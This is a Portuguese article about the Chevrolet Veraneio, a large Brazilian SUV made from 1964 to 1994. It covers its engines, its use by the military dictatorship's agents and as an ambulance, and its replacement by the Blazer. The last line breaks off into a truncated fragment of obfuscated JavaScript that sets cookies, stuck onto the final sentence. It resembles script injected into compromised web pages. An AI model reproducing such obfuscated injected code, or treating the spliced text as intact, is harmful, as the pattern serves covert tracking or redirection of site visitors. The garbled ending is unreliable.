Veraneio

O Veraneio foi um carro produzido, distribuído e comercializado pela Chevrolet no Brasil entre os anos de 1964 até 1994. O carro tinha o estilo de um utilitário esportivo – também conhecido como SUV –, o qual foi inspirado no Chevrolet Suburban, um estilo parecido, mas vendido apenas em território norte americano.

Nos seus primeiros cinco anos de atuação no mercado brasileiro, mais precisamente até 1969, o carro era chamado pelo seu código C-1416. Em toda a sua história o Veraneio era um veículo grande, que podia acomodar muitas pessoas. Foi um dos únicos modelos de quatro portas que fez sucesso no Brasil antes da década de 90, visto que o nosso país era muito mais atraído por carros de apenas duas portas.

Acomodava de forma confortável oito pessoas, mas alguns modelos tinha espaço para uma nona. Os motores variavam bastante ao longo de todos os anos, principalmente quando mudava o tipo de combustível. Os principais foram:

• Gasolina e álcool: 6 cilindros, com motor 4.3 litros;
• Gasolina e álcool: 6 cilindros, com motor 4.1 litros;
• Diesel: Motor com tecnologia Perkins Q20B, capacidade para 3.9 litros;

Curiosidades sobre o Chevrolet Veraneio

O Chevrolet Veraneio tem um nome bastante icônico, remetendo a férias de verão e viagens com a família. Isso se deu porque era inicialmente o objetivo da Chevrolet ao projetar o veículo: fazer um carro para a família toda. No entanto, ao longo dos anos, ele passou a gerar medo na população.

Isso se deu pelo fato de que o veículo foi amplamente utilizado pelos agentes da Ditadura Militar depois do Golpe de 1964. Quando alguém via algum modelo virando a rua não ficava tão a vontade.

Além disso, até um certo tempo da década de 70, o Chevrolet Veraneio era o maior carro produzido no Brasil. Como naquela época ainda não existiam as vans, o carro foi amplamente utilizado por hospitais e planos de saúde como ambulâncias, já que cabia até nove pessoas em algumas versões.

Fim da linha para o Chevrolet Veraneio

No seu segmento de atuação, o Chevrolet Veraneio fez um grande sucesso no Brasil. Não é para menos, já que o carro foi fabricado por praticamente 30 anos.

No entanto, em meados da década de 90, com a abertura da economia brasileira e a chegada de SUVs mais modernas, como o Ford Explorer e o Jeep Cherokee, o Veraneio não tinha mais tanto espaço com o público. Por esse motivo, foi substituído pela Chevrolet Blazer.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]